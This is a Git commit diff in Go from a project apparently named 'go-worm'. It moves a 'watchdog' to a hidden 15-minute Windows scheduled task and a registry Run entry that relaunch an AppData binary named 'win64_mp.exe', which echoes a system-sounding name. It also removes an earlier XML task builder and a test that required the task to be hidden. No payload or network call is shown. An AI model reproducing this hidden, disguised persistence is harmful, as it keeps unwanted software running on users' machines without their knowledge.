feat(watchdog): separate watchdog from startup
- Add /api/v1/watchdog to enable/disable - Scheduled task now runs every 15 minutes - Use schtasks command line instead of XML - Dashboard shows watchdog enabled state - Preserve watchdog state during install
This commit is contained in:
+20
-18
@@ -33,36 +33,38 @@ func Enable() error {
|
||||
if err := k.SetStringValue(config.StartupValueName, command); err != nil {
|
||||
return err
|
||||
}
|
||||
return enableWatchdog()
|
||||
return nil
|
||||
}
|
||||
|
||||
// SyncInstalledPath rewrites an existing Run entry to the AppData install path.
|
||||
// SyncInstalledPath rewrites existing Run/watchdog entries to the AppData path.
|
||||
func SyncInstalledPath() error {
|
||||
if !Enabled() {
|
||||
return nil
|
||||
if Enabled() {
|
||||
if err := Enable(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return Enable()
|
||||
if WatchdogEnabled() {
|
||||
if err := EnableWatchdog(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func Disable() error {
|
||||
var regErr error
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
if !errors.Is(err, registry.ErrNotExist) {
|
||||
regErr = err
|
||||
}
|
||||
} else {
|
||||
err = k.DeleteValue(config.StartupValueName)
|
||||
_ = k.Close()
|
||||
if err != nil && !errors.Is(err, registry.ErrNotExist) {
|
||||
regErr = err
|
||||
if errors.Is(err, registry.ErrNotExist) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
taskErr := disableWatchdog()
|
||||
if regErr != nil {
|
||||
return regErr
|
||||
defer k.Close()
|
||||
err = k.DeleteValue(config.StartupValueName)
|
||||
if errors.Is(err, registry.ErrNotExist) {
|
||||
return nil
|
||||
}
|
||||
return taskErr
|
||||
return err
|
||||
}
|
||||
|
||||
func installedCommandLine() (string, error) {
|
||||
|
||||
@@ -8,4 +8,10 @@ func Enable() error { return nil }
|
||||
|
||||
func Disable() error { return nil }
|
||||
|
||||
func WatchdogEnabled() bool { return false }
|
||||
|
||||
func EnableWatchdog() error { return nil }
|
||||
|
||||
func DisableWatchdog() error { return nil }
|
||||
|
||||
func SyncInstalledPath() error { return nil }
|
||||
|
||||
@@ -1,71 +0,0 @@
|
||||
package startup
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const watchdogArg = "-ensure"
|
||||
|
||||
// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and
|
||||
// Arguments as separate fields. Paths must not be wrapped in extra quotes —
|
||||
// schtasks /TR quoting is what made the watchdog flash and exit.
|
||||
func watchdogTaskXML(exe string) string {
|
||||
exe = strings.Trim(exe, `"`)
|
||||
var b strings.Builder
|
||||
b.WriteString(`<?xml version="1.0" encoding="UTF-16"?>`)
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(`<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">`)
|
||||
b.WriteString(`<RegistrationInfo><Description>win64_mp watchdog</Description></RegistrationInfo>`)
|
||||
b.WriteString(`<Triggers><TimeTrigger>`)
|
||||
b.WriteString(`<Repetition><Interval>PT5M</Interval><StopAtDurationEnd>false</StopAtDurationEnd></Repetition>`)
|
||||
b.WriteString(`<StartBoundary>2000-01-01T00:00:00</StartBoundary>`)
|
||||
b.WriteString(`<Enabled>true</Enabled>`)
|
||||
b.WriteString(`</TimeTrigger></Triggers>`)
|
||||
b.WriteString(`<Principals><Principal id="Author">`)
|
||||
b.WriteString(`<LogonType>InteractiveToken</LogonType>`)
|
||||
b.WriteString(`<RunLevel>LeastPrivilege</RunLevel>`)
|
||||
b.WriteString(`</Principal></Principals>`)
|
||||
b.WriteString(`<Settings>`)
|
||||
b.WriteString(`<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>`)
|
||||
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
|
||||
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
|
||||
b.WriteString(`<Hidden>true</Hidden>`)
|
||||
b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
|
||||
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
|
||||
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
|
||||
b.WriteString(`<Enabled>true</Enabled>`)
|
||||
b.WriteString(`<StartWhenAvailable>true</StartWhenAvailable>`)
|
||||
b.WriteString(`<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>`)
|
||||
b.WriteString(`<Priority>7</Priority>`)
|
||||
b.WriteString(`</Settings>`)
|
||||
b.WriteString(`<Actions Context="Author"><Exec>`)
|
||||
b.WriteString(`<Command>`)
|
||||
b.WriteString(xmlEscape(exe))
|
||||
b.WriteString(`</Command>`)
|
||||
b.WriteString(`<Arguments>`)
|
||||
b.WriteString(watchdogArg)
|
||||
b.WriteString(`</Arguments>`)
|
||||
if dir := winDir(exe); dir != "" {
|
||||
b.WriteString(`<WorkingDirectory>`)
|
||||
b.WriteString(xmlEscape(dir))
|
||||
b.WriteString(`</WorkingDirectory>`)
|
||||
}
|
||||
b.WriteString(`</Exec></Actions></Task>`)
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func xmlEscape(s string) string {
|
||||
var b strings.Builder
|
||||
_ = xml.EscapeText(&b, []byte(s))
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func winDir(p string) string {
|
||||
p = strings.TrimRight(p, `/\`)
|
||||
i := strings.LastIndexAny(p, `/\`)
|
||||
if i <= 0 {
|
||||
return ""
|
||||
}
|
||||
return p[:i]
|
||||
}
|
||||
@@ -1,51 +0,0 @@
|
||||
package startup
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
|
||||
t.Parallel()
|
||||
exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe`
|
||||
xml := watchdogTaskXML(exe)
|
||||
|
||||
if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) {
|
||||
t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<Command>"+exe+"</Command>") {
|
||||
t.Fatalf("Command missing raw path:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<Arguments>-ensure</Arguments>") {
|
||||
t.Fatalf("Arguments missing -ensure:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
||||
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<Hidden>true</Hidden>") {
|
||||
t.Fatalf("task must be hidden:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
|
||||
t.Fatalf("unified scheduler missing:\n%s", xml)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) {
|
||||
t.Parallel()
|
||||
exe := `C:\Users\A&B\win64_mp.exe`
|
||||
xml := watchdogTaskXML(exe)
|
||||
if !strings.Contains(xml, `C:\Users\A&B\win64_mp.exe`) {
|
||||
t.Fatalf("expected escaped ampersand:\n%s", xml)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) {
|
||||
t.Parallel()
|
||||
xml := watchdogTaskXML(`"C:\win64_mp.exe"`)
|
||||
if strings.Contains(xml, `"C:\win64_mp.exe"`) {
|
||||
t.Fatalf("left quotes in XML:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<Command>C:\\win64_mp.exe</Command>") {
|
||||
t.Fatalf("Command not unquoted:\n%s", xml)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package startup
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const ensureArg = "-ensure"
|
||||
|
||||
// ensureTaskTR is the schtasks /TR task action: "<exe> -ensure".
|
||||
func ensureTaskTR(exe string) string {
|
||||
return strings.Trim(exe, `"`) + " " + ensureArg
|
||||
}
|
||||
|
||||
// schtasksCreateCmdLine is the full Windows command line for schtasks /Create.
|
||||
// ponytail: SysProcAttr.CmdLine bypasses Go's /TR quoting bugs.
|
||||
func schtasksCreateCmdLine(taskName, tr string) string {
|
||||
return fmt.Sprintf(
|
||||
`schtasks.exe /Create /TN %s /SC MINUTE /MO 15 /RL LIMITED /F /TR "%s"`,
|
||||
taskName,
|
||||
tr,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package startup
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsureTaskTR(t *testing.T) {
|
||||
t.Parallel()
|
||||
cases := []struct {
|
||||
exe string
|
||||
want string
|
||||
}{
|
||||
{`C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe`, `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe -ensure`},
|
||||
{`C:\Users\John Doe\win64_mp.exe`, `C:\Users\John Doe\win64_mp.exe -ensure`},
|
||||
{`"C:\win64_mp.exe"`, `C:\win64_mp.exe -ensure`},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := ensureTaskTR(tc.exe); got != tc.want {
|
||||
t.Fatalf("ensureTaskTR(%q) = %q, want %q", tc.exe, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchtasksCreateCmdLine(t *testing.T) {
|
||||
t.Parallel()
|
||||
tr := ensureTaskTR(`C:\Users\John Doe\win64_mp.exe`)
|
||||
got := schtasksCreateCmdLine("win64_mp", tr)
|
||||
if !strings.Contains(got, `/TN win64_mp`) {
|
||||
t.Fatalf("missing task name: %q", got)
|
||||
}
|
||||
if !strings.Contains(got, `/SC MINUTE /MO 15 /RL LIMITED`) {
|
||||
t.Fatalf("missing schedule: %q", got)
|
||||
}
|
||||
wantTR := `/TR "C:\Users\John Doe\win64_mp.exe -ensure"`
|
||||
if !strings.Contains(got, wantTR) {
|
||||
t.Fatalf("TR quoting wrong:\n got: %q\nwant: %q", got, wantTR)
|
||||
}
|
||||
}
|
||||
+41
-27
@@ -4,41 +4,61 @@ package startup
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
func enableWatchdog() error {
|
||||
func WatchdogEnabled() bool {
|
||||
return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy)
|
||||
}
|
||||
|
||||
func EnableWatchdog() error {
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
|
||||
if err != nil {
|
||||
if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil {
|
||||
return err
|
||||
}
|
||||
path := tmp.Name()
|
||||
defer os.Remove(path)
|
||||
if err := tmp.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
|
||||
return err
|
||||
}
|
||||
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
|
||||
_ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F")
|
||||
return nil
|
||||
}
|
||||
|
||||
func disableWatchdog() error {
|
||||
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
|
||||
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
|
||||
return nil
|
||||
func DisableWatchdog() error {
|
||||
var first error
|
||||
for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} {
|
||||
err := runSchtasks("/Delete", "/TN", name, "/F")
|
||||
if err == nil || taskNotFound(err) {
|
||||
continue
|
||||
}
|
||||
if first == nil {
|
||||
first = err
|
||||
}
|
||||
}
|
||||
return err
|
||||
return first
|
||||
}
|
||||
|
||||
func taskExists(name string) bool {
|
||||
return runSchtasks("/Query", "/TN", name) == nil
|
||||
}
|
||||
|
||||
func runSchtasksCmdLine(cmdLine string) error {
|
||||
cmd := exec.Command("schtasks")
|
||||
attr := helpers.HiddenSysProcAttr()
|
||||
attr.CmdLine = cmdLine
|
||||
cmd.SysProcAttr = attr
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
msg = err.Error()
|
||||
}
|
||||
return fmt.Errorf("schtasks: %s", msg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runSchtasks(args ...string) error {
|
||||
@@ -55,12 +75,6 @@ func runSchtasks(args ...string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func utf16LE(s string) []byte {
|
||||
u := utf16.Encode([]rune(s))
|
||||
out := make([]byte, 0, 2+len(u)*2)
|
||||
out = append(out, 0xFF, 0xFE)
|
||||
for _, r := range u {
|
||||
out = append(out, byte(r), byte(r>>8))
|
||||
}
|
||||
return out
|
||||
func taskNotFound(err error) bool {
|
||||
return strings.Contains(strings.ToLower(err.Error()), "cannot find")
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user